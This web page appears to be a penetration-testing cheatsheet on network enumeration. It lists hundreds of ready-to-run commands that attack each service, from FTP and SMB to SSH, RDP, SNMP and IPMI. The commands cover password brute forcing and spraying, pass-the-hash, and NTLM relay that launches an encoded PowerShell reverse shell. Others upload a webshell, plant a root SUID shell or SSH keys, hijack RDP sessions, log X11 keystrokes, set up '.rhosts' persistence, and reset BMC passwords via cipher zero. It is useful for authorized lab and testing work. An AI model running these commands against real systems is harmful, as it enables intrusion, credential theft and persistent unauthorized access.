← Cheatsheets Network enumeration From host discovery to attacking each network service, with the real invocations that recur across the boxes. Each service by phase: enumerate, find vulnerabilities, exploit.
Discovery Discovery & scanning 24 commands Copy all
Host discovery TTL ≈64 Linux / ≈128 Windows: first OS hint ping -c 1 <ip>Find live hosts on the local network (layer 2) sudo arp-scan -l # o sudo netdiscover -r <network>/24Ping sweep to discover active hosts nmap -sn <network>/24 -oG hosts.txtParallel ICMP sweep, far faster than nmap's ping sweep fping -asgq <network>/24Sweep one port across the subnet without nmap (pivoting) for i in {1..254}; do timeout 1 bash -c "echo '' > /dev/tcp/<network>.$i/22" 2>/dev/null && echo $i; donePing sweep of a segment for live hosts fping -asgq <cidr>Port scanning Ultra-fast port discovery, then versions rustscan -a <ip> --ulimit 5000 -- -sCVMass scan of all ports at a controlled rate sudo masscan -p1-65535 <ip> --rate 1000 -e <iface>Automated multi-service enumeration (runs nmap + per-port tools) autorecon <ip>Full fast TCP scan into a greppable file nmap -p- --open -sS --min-rate 5000 -n -Pn <ip> -oG allPortsUDP scan of the most common ports (SNMP, DNS, IKE, TFTP...) sudo nmap -sU --top-ports 100 --min-rate 5000 -Pn -n --open <ip>UDP scan of the top 100 ports sudo nmap -sU --top-ports 100 --min-rate 5000 -Pn <ip>Fast full TCP sweep to a greppable file sudo nmap -sS -p- --min-rate 10000 -oG allPorts <ip>Ultra-fast port sweep with masscan masscan -p1-65535 <ip> --rate 1000 -e tun0Services & versions Scan with OS, version and script detection over a host list nmap -A -iL hosts.txt -oN host-enum.txtVersions and default scripts over the open ports nmap -sCV -p<ports> <ip> -oN targetedScanProfile a Domain Controller by its key ports nmap -p53,88,135,139,389,445,464,593,636,3268,3269 -sCV <ip>Grab a service banner by hand (version and product) nc -nv <ip> <port> # banner grabbing manual del servicioServices and scripts over the open ports nmap -p<ports> -sCV --version-all <ip> -oN targetedVulnerabilities Sweep for known vulnerabilities with the NSE scripts nmap -p<ports> --script vuln <ip>Sweep for known vulnerabilities with NSE nmap --script vuln -p<ports> <ip>Utilities Pull the ports from the greppable file for the second scan extractPorts allPorts # open ports to the clipboardLocate the NSE scripts available for a service ls /usr/share/nmap/scripts | grep -iE '<service>' # o locate '*.nse'Map the target domain and vhosts in /etc/hosts echo '<ip> <domain> <vhost>' | sudo tee -a /etc/hostsFile transfer & shares FTP · 21 16 commands Copy all
Enumerate Server version and anonymous-access check nmap -p21 -sCV --script ftp-anon,ftp-syst <ip>Talk to FTP by hand to read the banner and try commands nc -nv <ip> 21; telnet <ip> 21Encrypted FTP connection (FTPS with STARTTLS) openssl s_client -connect <ip>:21 -starttls ftpStatus, system type and detailed listing inside the client ftp> status; ftp> syst; ftp> ls -la; ftp> pwdInteract with FTP at a low level nc -nv <ip> 21Anonymous access Anonymous access (user anonymous, no password) ftp <ip> # anonymous : anonymousMirror the whole anonymous FTP recursively wget -m --no-passive ftp://anonymous:anonymous@<ip>Bruteforce Brute force the FTP password hydra -l <user> -P <rockyou.txt> ftp://<ip> -t 16 -IBrute force the FTP service hydra -l <user> -P <rockyou.txt> ftp://<ip>Transfer / exploitation Download everything in binary mode without confirming each file ftp> binary; ftp> prompt off; ftp> mget *Authenticated recursive download (sometimes on odd ports) wget -r ftp://<user>:<pass>@<host>:2121/ProFTPD mod_copy: arbitrary file copy (CVE-2015-3306) proxychains ftp <ip> → site cpfr <src> → site cpto <dest>Upload a webshell if FTP writes to a web root ftp> put rev.phpToggle passive/ASCII mode and print a file to screen ftp> passive; ftp> ascii; ftp> get <file> -Vulnerabilities Search server exploits by product and version searchsploit proftpd; searchsploit vsftpdCheck for known backdoors (vsftpd 2.3.4, ProFTPd 1.3.3c) nmap -p21 --script ftp-vsftpd-backdoor,ftp-proftpd-backdoor <ip>TFTP · 69 7 commands Copy all
Scan / banner Detect TFTP (UDP) and enumerate known files sudo nmap -sU -p69 -sV --script tftp-enum <ip>Download / upload TFTP client: no auth, you can read and write tftp <ip> → mode binary → get <file> → put <file>Download a file over TFTP with curl curl -s tftp://<ip>/<file> -o <file>Upload a file over TFTP with curl (if writable) curl -T <file> tftp://<ip>/<file>Download with atftp (router configs, backups, .conf) atftp --get -r <file> -l <dest> <ip>Common files Try common filenames (network configs, credentials) for f in running-config startup-config config.text /etc/passwd win.ini boot.ini; do tftp <ip> -c get $f; doneBulk-guess filenames served over TFTP msfconsole -q -x 'use auxiliary/scanner/tftp/tftpbrute; set RHOSTS <ip>; set DICTIONARY <files.txt>; run'NFS · 111 / 2049 10 commands Copy all
Enumerate List the exported NFS shares showmount -e <ip>Enumerate exports, files and permissions with NSE nmap -p111,2049 --script nfs-ls,nfs-showmount,nfs-statfs <ip>Enumerate exports, list files and view perms with NSE nmap --script nfs-ls,nfs-showmount,nfs-statfs -p111,2049 <ip>Mount Mount an NFS export locally sudo mount -t nfs <ip>:/<share> /mnt/<share> -o nolockMount an NFS share locally mount -t nfs <ip>:/<share> ./target-NFS -o nolockUID escalation / no_root_squash no_root_squash: create the expected UID to read files sudo useradd -u <uid> <user>; sudo -u <user> cat /mnt/<share>/secretono_root_squash: plant a root SUID from the attacker sudo cp /bin/bash /mnt/<share>/bash; sudo chown root:root /mnt/<share>/bash; sudo chmod +s /mnt/<share>/bashSee the owning UID/GID of each file (to impersonate it) ls -n /mnt/<share> # show numeric UID/GID of filesUnmount Unmount the NFS share when done sudo umount /mnt/<share>Unmount the NFS share umount ./target-NFSrsync · 873 9 commands Copy all
Enumerate modules Detect the rsync daemon and its protocol banner nmap -sV -p873 <ip>; nc -nv <ip> 873List the modules (shares) rsync exposes rsync -av --list-only rsync://<ip>/ # list available modulesList a module's contents without downloading rsync -av --list-only rsync://<ip>/<module>Download Recursively download an entire module rsync -av rsync://<ip>/<module> ./loot # download the whole modulersync: pull an entire module to review it rsync -av rsync://<ip>/<module> ./lootUpload Upload files if the module is writable rsync -av ./<file> rsync://<ip>/<module> # upload if the module is writablersync: upload files to a writable module rsync -av ./evil root@<ip>::<module>/ # if the module is writableOver SSH Sync over SSH when rsync is tunnelled rsync -av -e 'ssh -p2222' <user>@<ip>:/path ./ # rsync over SSHrsync over SSH: sync with a non-standard port rsync -av -e 'ssh -p<lport>' <user>@<ip>:/home/ ./lootSMB · 139 / 445 38 commands Copy all
Enumerate Hostname, domain and role (DC?) over SMB netexec smb <ip>All-in-one SMB/RPC enumeration (modern version) enum4linux-ng -A -u <user> -p <pass> <ip>Enumerate shares, users and OS with the NSE scripts nmap -p445 --script smb-enum-shares,smb-enum-users,smb-os-discovery <ip>NetBIOS names of the host and the subnet (139) nmblookup -A <ip>; nbtscan -r <network>/24Logged-on users, sessions and password policy netexec smb <ip> -u <user> -p <pass> --loggedon-users --sessions --pass-polSee which users are logged on netexec smb <ip> -u <user> -p '<pass>' --loggedon-usersNull session / guest Null session: shares and permissions netexec smb <ip> -u '' -p '' --sharesRID cycling with guest to dump the user list netexec smb <ip> -u 'guest' -p '' --rid-bruteRID cycling keeping only the user accounts crackmapexec smb <dc> -u 'guest' -p '' --rid-brute 2>/dev/null | grep SidTypeUserUsers & RID Enumerate domain users and groups over MS-RPC rpcclient -U '' -N <ip> -c 'enumdomusers;querydispinfo;enumdomgroups'Enumerate users and policies via MS-SAMR (impacket) samrdump.py <ip>; impacket-samrdump <ip>Manual RID cycling to translate RIDs to usernames for i in $(seq 500 1100); do rpcclient -U '' -N <ip> -c "queryuser 0x$(printf '%x' $i)" 2>/dev/null | grep -i 'User Name'; doneDump domain users to a file ready for spraying netexec smb <ip> -u <user> -p <pass> --users | awk '{print $5}' | tail -n +4 | head -n -1 > users.txtEnumerate users over MSRPC (impacket) samrdump.py <ip>Enumerate domain users and groups via SID brute (RID cycling) impacket-lookupsid <domain>/<user>:<pass>@<ip>Shares: list & browse List shares without credentials smbclient -N -L //<ip>/Access a share and download files (get, mget) smbclient //<ip>/<share> -U '<user>%<pass>'Recursively list a whole share in one command smbclient //<ip>/<share> -U '<user>%<pass>' -c 'recurse ON; ls'Recursively list a share's contents smbmap -H <ip> -r <share>Spray creds and list shares across a subnet netexec smb <cidr> -u <user> -p '<pass>' --sharesShares: recursive / spider Recursively walk a share and its permissions smbmap -H <ip> -u <user> -p <pass> -R <share>Index files across all readable shares netexec smb <ip> -u <user> -p <pass> -M spider_plusShares: download / upload Download a specific file from the share (and --upload to push one) smbmap -H <ip> -u <user> -p <pass> --download '<share>\<file>'Recursively download an entire share smbclient //<ip>/<share> -U '<user>%<pass>' -c 'recurse ON; prompt OFF; mget *'Download a file from an SMB share smbmap -H <ip> --download '<share>\<file>'Upload a file to an SMB share smbmap -H <ip> --upload <file> '<share>\<file>'Shares: your own server Stand up your own SMB share to move files smbserver.py smbFolder $(pwd) -smb2support -username <user> -password <pass>Credentials / Pass-the-Hash Password spraying: one password against many users netexec smb <ip> -u <users.txt> -p '<pass>' --continue-on-successValidate an NT hash via Pass-the-Hash (Pwn3d! = shell) netexec smb <ip> -u <user> -H <hash>Local authentication: SAM accounts, not the domain netexec smb <ip> -u <user> -p <pass> --local-authDump local SAM hashes (needs local admin) netexec smb <ip> -u <user> -p <pass> --samExecution / RCE Remote command execution over SMB/WMI with credentials impacket-psexec <user>:'<pass>'@<ip>; impacket-smbexec <user>:'<pass>'@<ip>; impacket-wmiexec <user>:'<pass>'@<ip>Run a command over SMB netexec smb <ip> -u Administrator -p '<pass>' -x 'whoami' --exec-method smbexecSYSTEM shell over SMB with creds (psexec) impacket-psexec <user>:'<pass>'@<ip>NTLM relay Relay captured NTLM auth to another host (no SMB signing) impacket-ntlmrelayx --no-http-server -smb2support -t <target> -c '<cmd>'Relay NTLM to SMB to dump the SAM impacket-ntlmrelayx --no-http-server -smb2support -t <ip>Relay NTLM running a reverse shell impacket-ntlmrelayx --no-http-server -smb2support -t <ip> -c 'powershell -e <base64>'Vulnerabilities Check classic SMB vulnerabilities (EternalBlue) nmap -p445 --script smb-vuln-ms17-010,smb-vuln-ms08-067 <ip>Remote access SSH · 22 20 commands Copy all
Scan / banner OpenSSH version (the banner hints at the distro) nmap -p22 -sV <ip>Supported algorithms and configuration weaknesses ssh-audit <ip>Server banner: OpenSSH version and a distro hint nc -nv <ip> 22 # banner: OpenSSH_x.y reveals version and sometimes distroDump the host keys the SSH offers (version and algorithms) ssh-keyscan <ip>Connect Access reusing leaked credentials ssh <user>@<ip>Copy files over SSH (scp) or interactive sftp session scp <user>@<ip>:/path/<file> . # or sftp <user>@<ip>Force password authentication ssh <user>@<ip> -o PreferredAuthentications=passwordLog in with a private key ssh -i <private.key> <user>@<ip>Options / legacy bypass Log in to old SSH servers enabling legacy algorithms sshpass -p '<pass>' ssh -o KexAlgorithms=+diffie-hellman-group1-sha1 -o HostKeyAlgorithms=+ssh-rsa <user>@<ip>Skip host warnings when reconnecting in labs ssh -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null <user>@<ip>See accepted auth methods and force password auth ssh -v <user>@<ip> -o PreferredAuthentications=passwordAuthenticate with public key only ssh <user>@<ip> -o PreferredAuthentications=publickey -i id_rsaRestricted-shell escape Escape a restricted shell (rbash) on connect ssh <user>@<ip> -t 'bash --noprofile' # o dentro: vi → :!/bin/shSSH keys Generate a keypair and its authorized_keys to plant ssh-keygen -t rsa -b 2048 -f id_rsa; cat id_rsa.pub > authorized_keysLog in with the stolen or planted private key chmod 600 id_rsa && ssh -i id_rsa <user>@<ip>Crack the passphrase of a protected private key ssh2john id_rsa > hash; john --wordlist=<rockyou.txt> hashSSH CA abuse: sign a certificate as root ssh-keygen -s <ca_key> -I atacante -n root -V +52w keypair.pubBruteforce SSH brute force / password spraying (few threads) hydra -L <users.txt> -P <rockyou.txt> ssh://<ip> -t 4Bulk-test SSH credentials and see which ones land netexec ssh <ip> -u <user> -p <passwords.txt> --continue-on-successUser enum / CVE Enumerate valid users by timing (OpenSSH < 7.7) python3 sshUsernameEnum.py --port 22 --userList <users.txt> <ip> # CVE-2018-15473Telnet · 23 6 commands Copy all
Scan / banner Version, whether it encrypts, and NTLM info (Windows hosts) nmap -p23 -sV --script telnet-encryption,telnet-ntlm-info <ip>Connect by hand: service banner and login attempt telnet <ip> 23 # banner and manual loginGrab the banner with netcat (may leak the OS or product) nc -nv <ip> 23 # banner may leak OS or productLogin / bruteforce Brute force Telnet credentials hydra -L <users.txt> -P <rockyou.txt> telnet://<ip> -t 4 -IBrute-force Telnet with the NSE script nmap -p23 --script telnet-brute --script-args userdb=<users.txt>,passdb=<rockyou.txt> <ip>Try common default credentials on appliances and routers telnet <ip> # try admin/admin, root/root, or no passwordr-services · 512 / 513 / 514 9 commands Copy all
Enumerate Detect rexec/rlogin/rsh (legacy trust protocols) nmap -p512,513,514 -sV <ip>See who is logged in and session details rwho; rusers -al <ip>Access (trust) Log in via rlogin (trust via .rhosts) rlogin <ip> -l <user> # if .rhosts / hosts.equiv exist, logs in without a passwordRun a remote command via rsh/rexec rsh <ip> -l <user> 'id' # or rexecR-services: copy a remote file with rcp rcp <user>@<ip>:/etc/passwd . # remote copy, no overwrite promptR-services: run a command with credentials via rexec rexec -l <user> -p <pass> <ip> idLogin / bruteforce Brute force rsh/rlogin when there is no trust hydra -L <users.txt> -P <rockyou.txt> rsh://<ip>; hydra -L <users.txt> rlogin://<ip>Post-access Trust relationships that allow passwordless access cat /etc/hosts.equiv ~/.rhosts # trust relationships (post-access)Post-exploit: trust any host and user for this account echo '+ +' > ~/.rhosts # post-exploit: trust every host/user for this accountRDP · 3389 15 commands Copy all
Enumerate Domain, hostname, encryption level and whether NLA is required nmap -p3389 --script rdp-ntlm-info,rdp-enum-encryption <ip>All RDP scripts: hostname, domain, encryption and NLA nmap -p3389 -sV --script rdp* <ip> # rdp-ntlm-info, rdp-enum-encryptionAudit the RDP security settings (NLA, encryption) rdp-sec-check.pl <ip>Access Connect with clipboard and a shared drive (file transfer) xfreerdp /v:<ip> /u:<user> /p:<pass> +clipboard /drive:shared,/tmp /cert:ignoreAlternative RDP client from Linux rdesktop -u <user> -p <pass> <ip> # cliente alternativoBasic RDP session with dynamic resolution xfreerdp /v:<ip> /u:<user> /p:'<pass>' /dynamic-resolution /cert:ignoreConnect to RDP from Linux (rdesktop) rdesktop -u <user> -p <pass> <ip>Bruteforce Password spraying / brute force against RDP crowbar -b rdp -s <ip>/32 -U <users.txt> -c '<pass>' # o hydra -L <users.txt> -p '<pass>' rdp://<ip>Brute force the RDP service hydra -L <users.txt> -p '<pass>' <ip> rdpPass-the-Hash Pass-the-Hash over RDP (needs Restricted Admin Mode) xfreerdp /v:<ip> /u:<user> /pth:<hash> /cert:ignorePass-the-Hash against RDP (Restricted Admin) xfreerdp /v:<ip> /u:<user> /pth:<hash>Session hijack / RestrictedAdmin Enable Restricted Admin on the target so you can PtH over RDP reg add HKLM\System\CurrentControlSet\Control\Lsa /v DisableRestrictedAdmin /t REG_DWORD /d 0 /fHijack another user's RDP session without their password query user; tscon <session_id> /dest:<tu_sesion> # session hijack (as SYSTEM)Hijack another user's RDP session tscon <session_id> /dest:<own_session>RDP: hijack another user's session with a SYSTEM service (tscon) sc.exe create sessionhijack binpath= "cmd.exe /k tscon <session_id> /dest:<own_session>" & net start sessionhijackVNC · 5900 8 commands Copy all
Scan / banner Version, title and RealVNC auth bypass (CVE-2006-2369) nmap -p5900-5906 --script vnc-info,vnc-title,realvnc-auth-bypass <ip>Check whether the VNC accepts connections without auth msfconsole -q -x 'use auxiliary/scanner/vnc/vnc_none_auth; set RHOSTS <ip>; run'Connect Connect to the VNC desktop (check for passwordless access) vncviewer <ip>:5900 # sometimes without authenticationConnect using a recovered VNC password file vncviewer -passwd <path>/passwd <ip>:5900Login / bruteforce Brute force the VNC password hydra -P <rockyou.txt> vnc://<ip> # VNC uses only a password, no usernameStored password Decrypt a stored VNC password file (DES with a fixed key) vncpwd <path>/passwd # decrypt a stored VNC password (fixed DES key)Decrypt the VNC password by hand with the fixed DES key echo -n <hex> | xxd -r -p | openssl enc -d -des-cbc -K e84ad660c4721ae0 -nopadLocate the stored VNC password (Windows registry or ~/.vnc) reg query 'HKLM\SOFTWARE\RealVNC\vncserver' /v Password # or ~/.vnc/passwd on LinuxWinRM · 5985 / 5986 13 commands Copy all
Enumerate Detect the Windows remote management service nmap -p5985,5986 -sV <ip> # 5985 http / 5986 httpsValidate credentials (netexec) Validate WinRM credentials (Pwn3d! means a shell is available) netexec winrm <ip> -u <user> -p <pass> # (Pwn3d!) = acceso confirmadoPassword spraying against WinRM netexec winrm <ip> -u <users.txt> -p <rockyou.txt> --continue-on-successPass-the-Hash over WinRM: confirm access with the NT hash netexec winrm <ip> -u <user> -H <hash>Interactive shell (evil-winrm) Interactive PowerShell shell over WinRM evil-winrm -i <ip> -u <user> -p '<pass>'Pass-the-Hash over WinRM (no cleartext password) evil-winrm -i <ip> -u <user> -H <hash>Load local .ps1 scripts and binaries into the session evil-winrm -i <ip> -u <user> -p '<pass>' -s ./scripts -e ./exesConnect over RDP from Linux (xfreerdp) xfreerdp /u:<user> /p:'<pass>' /v:<ip>Execution (WMI/command) Run commands via WMI (alternative to WinRM) wmiexec.py <user>:'<pass>'@<ip> 'whoami' # WMI · 135Run a one-off command over WinRM without a shell netexec winrm <ip> -u <user> -p <pass> -x 'whoami /all'Run a command over WMI (impacket) wmiexec.py <user>:'<pass>'@<ip> '<command>'TLS / certificate Shell over TLS-encrypted WinRM on port 5986 evil-winrm -i <ip> -u <user> -p '<pass>' -S # WinRM sobre TLS (5986)WinRM access with a certificate (typical after abusing ADCS) evil-winrm -i <ip> -c certificate.pem -k priv-key.pem -S # certificate authenticationX11 · 6000 8 commands Copy all
Scan / banner Check whether the X server accepts uncontrolled connections nmap -p6000-6005 --script x11-access <ip>Access Confirm access and read the screen geometry xdpyinfo -display <ip>:0 # confirm access and read screen geometryList the open windows of the X session xwininfo -root -tree -display <ip>:0 # list open windowsScreenshot Screenshot the remote desktop via X11 xwd -root -display <ip>:0 -out cap.xwd; convert cap.xwd cap.pngScreenshot the remote desktop in one line with ImageMagick import -display <ip>:0 -window root cap.png # ImageMagick one-linerKeylogging / injection Capture keystrokes from the X session xspy <ip>:0 # log the keystrokesInject keystrokes into the open X session xdotool --display <ip>:0 key ctrl+alt+t # inject keystrokes if it is openPop a terminal on the victim's screen if allowed DISPLAY=<ip>:0 xterm # pop a terminal on the victim's screen if XTest is allowedMail SMTP · 25 / 587 13 commands Copy all
Enumerate Version, accepted commands, open relay and NTLM info nmap -p25,465,587 -sCV --script smtp-commands,smtp-open-relay,smtp-ntlm-info <ip>Interact with the SMTP service by hand telnet <ip> 25Enumerate users Talk to SMTP by hand: VRFY/EXPN to enumerate users telnet <ip> 25 → HELO x → VRFY <user> → EXPN <list>Check if a user exists with VRFY echo -e 'VRFY <user>' | nc -nv <ip> 25Bulk user enumeration via VRFY smtp-user-enum -M VRFY -U <users.txt> -t <ip>Enumerate users via RCPT TO when VRFY is disabled smtp-user-enum -M RCPT -U <users.txt> -D <domain> -t <ip>Enumerate Office365 users of the domain python3 o365spray.py --enum -U <users.txt> --domain <domain>Send mail Send a test email with attachment (phishing/open relay) swaks --to <dst> --from <src> --server <ip> --body msg --attach @<file>Test whether the server relays third-party mail (open relay) swaks --from <src> --to <dst> --server <ip> --header 'Subject: x' --body 'y' # test de open relayTest the SMTP server's open relay swaks --from <a>@<domain> --to <b>@<domain> --server <ip>Bruteforce / spray Brute force SMTP credentials hydra -L <users.txt> -P <rockyou.txt> -f <ip> smtp -IEnumerate and password-spray against Office 365 o365spray --enum -U <users.txt> --domain <domain> # y --spray -p '<pass>'Controlled password spraying against Office365 python3 o365spray.py --spray -U <users.txt> -p '<pass>' --count 1 --lockout 1IMAP / POP3 · 110 / 143 / 993 / 995 11 commands Copy all
Enumerate Version and capabilities of the mailbox services nmap -p110,143,993,995 -sCV --script imap-capabilities,pop3-capabilities <ip>TLS-connect to IMAPS/POP3S to speak the protocol by hand openssl s_client -connect <ip>:imaps # o :pop3s (143/110 sobre TLS)Connect to IMAPS over TLS openssl s_client -connect <ip>:imapsConnect to POP3S over TLS openssl s_client -connect <ip>:pop3sAccess / read mail Authenticate to IMAPS with curl and watch the dialogue (-v) curl -k 'imaps://<ip>' --user <user>:<pass> -vIMAP commands to list mailboxes and read the first email a LOGIN <user> <pass> → a LIST "" "*" → a SELECT INBOX → a FETCH 1 BODY[]POP3 commands to authenticate and fetch an email USER <user> → PASS <pass> → LIST → RETR 1 # protocolo POP3Read local mailboxes for credentials (post-access) cat /var/mail/* /var/spool/mail/* 2>/dev/null | grep -C 10 -i passAuthenticate to IMAPS with cURL curl -k 'imaps://<ip>' --user <user>:<pass>IMAP: read the body of the first message a1 FETCH 1 (BODY[TEXT])Bruteforce Brute force IMAP/POP3 credentials hydra -L <users.txt> -P <rockyou.txt> -f <ip> imap -I # o pop3Directory & naming DNS · 53 16 commands Copy all
Record queries The domain's name servers dig ns <domain> @<ip>Dump every available record dig any <domain> @<ip>Quick A, MX and TXT record lookups dig +short a <domain> @<ip>; dig +short mx <domain> @<ip>; dig +short txt <domain> @<ip>Name/mail servers and a zone-transfer attempt with host host -t ns <domain>; host -t mx <domain>; host -l <domain> <ns>Query the domain's mail servers host -t MX <domain>Query the domain's name servers host -t NS <domain>Reverse (PTR) Reverse DNS lookup to find the FQDN nslookup -type=PTR <ip> <ip>Server version SOA record and BIND server version dig soa <domain> @<ip>; dig CH TXT version.bind @<ip>Zone transfer Zone transfer: reveals subdomains and internal hosts dig axfr <domain> @<ip>Full DNS recon (AXFR and subdomain wordlist) dnsrecon -d <domain> -n <ip> -t axfr,brt # transferencia + fuerza brutaSubdomain bruteforce All-in-one DNS enumeration (AXFR, brute, MX) dnsenum --dnsserver <ip> <domain>Brute-force subdomains against the DNS server gobuster dns -d <domain> -r <ip> -w <subdomains.txt>Subdomain brute force resolving against the target DNS for s in $(cat <subdomains.txt>); do dig +short $s.<domain> @<ip> | grep -q . && echo $s; doneSubdomain brute force against a DNS server dnsenum --dnsserver <nameserver> --enum -f <wordlist> <domain>Passive subdomain enumeration subfinder -d <domain> -vNSE scripts Check open recursion and cache snooping nmap -sSU -p53 --script dns-recursion,dns-nsid,dns-cache-snoop <ip>LDAP · 389 / 636 8 commands Copy all
Enumerate Naming context and data exposed via anonymous bind nmap -p389,636 --script ldap-rootdse,ldap-search <ip>Get the base DN of the tree without credentials ldapsearch -x -H ldap://<ip> -s base namingcontextsEnumerate LDAP via NSE over anonymous bind nmap -p389 --script ldap-search --script-args 'ldap.username=,ldap.qfilter=all' <ip>Anonymous bind Check whether LDAP allows unauthenticated binds netexec ldap <ip> -u '' -p '' # check anonymous bindQueries Dump the whole LDAP tree via anonymous bind ldapsearch -x -H ldap://<ip> -b 'dc=<dc>,dc=<dc>'Enumerate domain users and groups over LDAP windapsearch -d <domain> --dc-ip <ip> -U # o --da / -PUPull users and descriptions (sometimes with passwords) ldapsearch -x -H ldap://<ip> -b 'dc=<dc>,dc=<dc>' '(objectClass=user)' sAMAccountName descriptionAuthenticated directory dump ldapsearch -x -H ldap://<ip> -D '<user>@<domain>' -w '<pass>' -b 'dc=<dc>,dc=<dc>'finger · 79 8 commands Copy all
Scan / banner Detect the finger daemon and its version nmap -sV -p79 --script finger <ip>Enumerate users List currently logged-in users finger @<ip> # list of logged-in usersCheck if a user exists and view its details finger <user>@<ip> # does the user exist? shell, home, last loginWildcard queries: some daemons list every user finger '.@<ip>' ; finger '0@<ip>' ; finger 'a b c@<ip>'Try a short list of common users for u in root admin test user bin daemon operator; do finger $u@<ip>; doneBulk-enumerate valid users against finger finger-user-enum.pl -U <users.txt> -t <ip>Enumerate users with the Metasploit module msfconsole -q -x 'use auxiliary/scanner/finger/finger_users; set RHOSTS <ip>; set USERS_FILE <users.txt>; run'Finger relay: enumerate through a middle host finger 'root@<ip>@<ip2>' # finger relay: pivot enumeration through a middle hostManagement & infrastructure RPC / portmapper · 111 / 135 8 commands Copy all
Portmapper (111) Portmapper (111): registered RPC programs (NFS, NIS, rusersd...) rpcinfo -p <ip> # or nmap -sSUC -p111 <ip>Map the services and ports the portmapper exposes rpcbind -p <ip>; nmap -sV -p111 --script rpcinfo <ip>NFS over RPC List the NFS exports advertised via rpcbind showmount -e <ip> # NFS exports advertised via rpcbindMSRPC (135) Dump the MSRPC endpoint mapper (135) and its interfaces impacket-rpcdump <ip> | grep -iE 'ncacn|MS-' # MSRPC 135Look for interfaces abusable for authentication coercion impacket-rpcdump <ip> | grep -iE 'MS-RPRN|MS-PAR|MS-EFSR' # coercion (PrintNightmare/PetitPotam)rpcclient (null session) Query the Windows DCE/RPC over a null session rpcclient -U '' -N <ip> -c 'srvinfo;enumdomusers;querydominfo'Domain groups, password policy and SIDs over a null session rpcclient -U '' -N <ip> -c 'enumdomgroups;getdompwinfo;lsaenumsid'RID cycling: resolve SIDs to usernames over a null session for i in $(seq 500 1100); do rpcclient -U '' -N <ip> -c "lookupsids S-1-5-21-<domain-sid>-$i"; doneSNMP · 161 16 commands Copy all
Community strings Brute-force the community string onesixtyone -c /usr/share/seclists/Discovery/SNMP/common-snmp-community-strings.txt <ip>Brute force SNMP community strings onesixtyone -c <community.txt> <ip>Walk / dump Dump the MIB tree with the default community snmpwalk -v2c -c public <ip>Faster bulk dump to a file snmpbulkwalk -c public -v2c <ip> > snmp.txtWalk OIDs at high speed (much faster than snmpwalk on large ranges) braa <community>@<ip>:.1.3.6.*Formatted SNMP enumeration (users, processes, network) snmp-check <ip> -c publicDump the whole SNMP tree with GETBULK snmpbulkwalk -v2c -c <community> <ip>Useful OIDs Specific MIB branch: user accounts snmpwalk -v2c -c public <ip> 1.3.6.1.4.1.77.1.2.25 # usersRunning processes (sometimes with credentials in the cmdline) snmpwalk -v2c -c public <ip> 1.3.6.1.2.1.25.4.2.1.2 # processesFull command line of processes (sometimes credentials) snmpwalk -v2c -c public <ip> 1.3.6.1.2.1.25.4.2.1.5 # process parametersConfigured extend commands (sometimes run as root) snmpwalk -v2c -c public <ip> nsExtendObjects # NET-SNMP-EXTEND-MIBList installed software on the system snmpwalk -v2c -c public <ip> 1.3.6.1.2.1.25.6.3.1.2 # installed softwareEnumerate listening TCP ports via SNMP snmpwalk -v2c -c public <ip> 1.3.6.1.2.1.6.13.1.3 # local TCP portsSNMPv3 Authenticated SNMPv3 query (user and two passwords) snmpwalk -v3 -l authPriv -u <user> -a SHA -A <authpass> -x AES -X <privpass> <ip>Loot / filtering Hunt for credentials and sensitive data in the dump grep -iE 'pass|user|community' snmp.txtDump the whole tree and grep for credentials snmpbulkwalk -c public -v2c <ip> . | grep -iE 'pass|user|community|key'NTP · 123 7 commands Copy all
Scan / banner Service version and recent-clients list (monlist) nmap -sU -p123 -sV --script ntp-info,ntp-monlist <ip>Enumerate Server variables: version, system and time reference ntpq -c rv <ip> # readvar: version, processor, system, refidNTP server variables, peers and associations ntpq -c readlist <ip>; ntpq -c peers <ip>; ntpq -c assoc <ip>monlist: last clients that queried the server (internal-network map) ntpdc -n -c monlist <ip> # last clients that queried the serverClock Read the target's clock (key for Kerberos, skew < 5 min) ntpdate -q <ip> # target time (useful for Kerberos skew)Sync your clock with the target's sudo ntpdate <ip> # sync your clock with the DC before attacking KerberosDisable local NTP before forcing the sync sudo timedatectl set-ntp false; sudo ntpdate <ip> # disable local NTP first if it fights youIKE / IPsec VPN · 500 8 commands Copy all
Scan / banner Detect the IKE service (IPsec VPN) and its mode sudo nmap -sU -p500 -sV <ip>; ike-scan <ip>Enumerate Multiline output: show the accepted transform sudo ike-scan -M <ip> # multiline: show the accepted transformProbe IKEv2 as well (not only IKEv1) sudo ike-scan --ikev2 <ip> # probe IKEv2 as wellAutomate transform and aggressive-mode enumeration python3 iker.py <ip> # automate transform + aggressive-mode enumerationAggressive mode (PSK) Aggressive mode: requests the handshake that leaks the PSK ike-scan -A <ip> # aggressive mode: may return the PSK hashSave the aggressive-mode PSK material to crack sudo ike-scan -A -M --id=<id> --pskcrack=ike.txt <ip>Crack Crack the captured PSK with a wordlist psk-crack -d <rockyou.txt> ike.txtBrute-force short PSKs by character set psk-crack -b 8 --charset='0123456789' ike.txt # brute force short numeric PSKsIPMI / BMC · 623 8 commands Copy all
Enumerate / hashes IPMI version and cipher-zero check (null auth) sudo nmap -sU -p623 --script ipmi-version,ipmi-cipher-zero <ip>Dump IPMI RAKP hashes (extractable from the handshake) msfconsole -q -x 'use auxiliary/scanner/ipmi/ipmi_dumphashes; set RHOSTS <ip>; run'Detect the IPMI/BMC version (CVE-2013-4786) msfconsole -q -x 'use auxiliary/scanner/ipmi/ipmi_version; set RHOSTS <ip>; run'Crack Crack the IPMI RAKP hashes hashcat -m 7300 ipmi.hash <rockyou.txt>ipmitool / cipher-zero Interact with the BMC once you have credentials ipmitool -I lanplus -H <ip> -U <user> -P <pass> user list; ipmitool -I lanplus -H <ip> -U <user> -P <pass> chassis statusAbuse cipher zero to talk to the BMC without a password ipmitool -I lanplus -C 0 -H <ip> -U Administrator -P '' user list # cipher zero: null authCipher zero: reset the password of a BMC account ipmitool -I lanplus -C 0 -H <ip> -U Administrator -P '' user set password 2 <newpass> # reset a BMC accountDefault credentials Common default BMC credentials by vendor # Defaults: ADMIN/ADMIN (Supermicro), root/calvin (Dell iDRAC), Administrator/<blank> (HP iLO)IRC · 6667 / 6697 6 commands Copy all
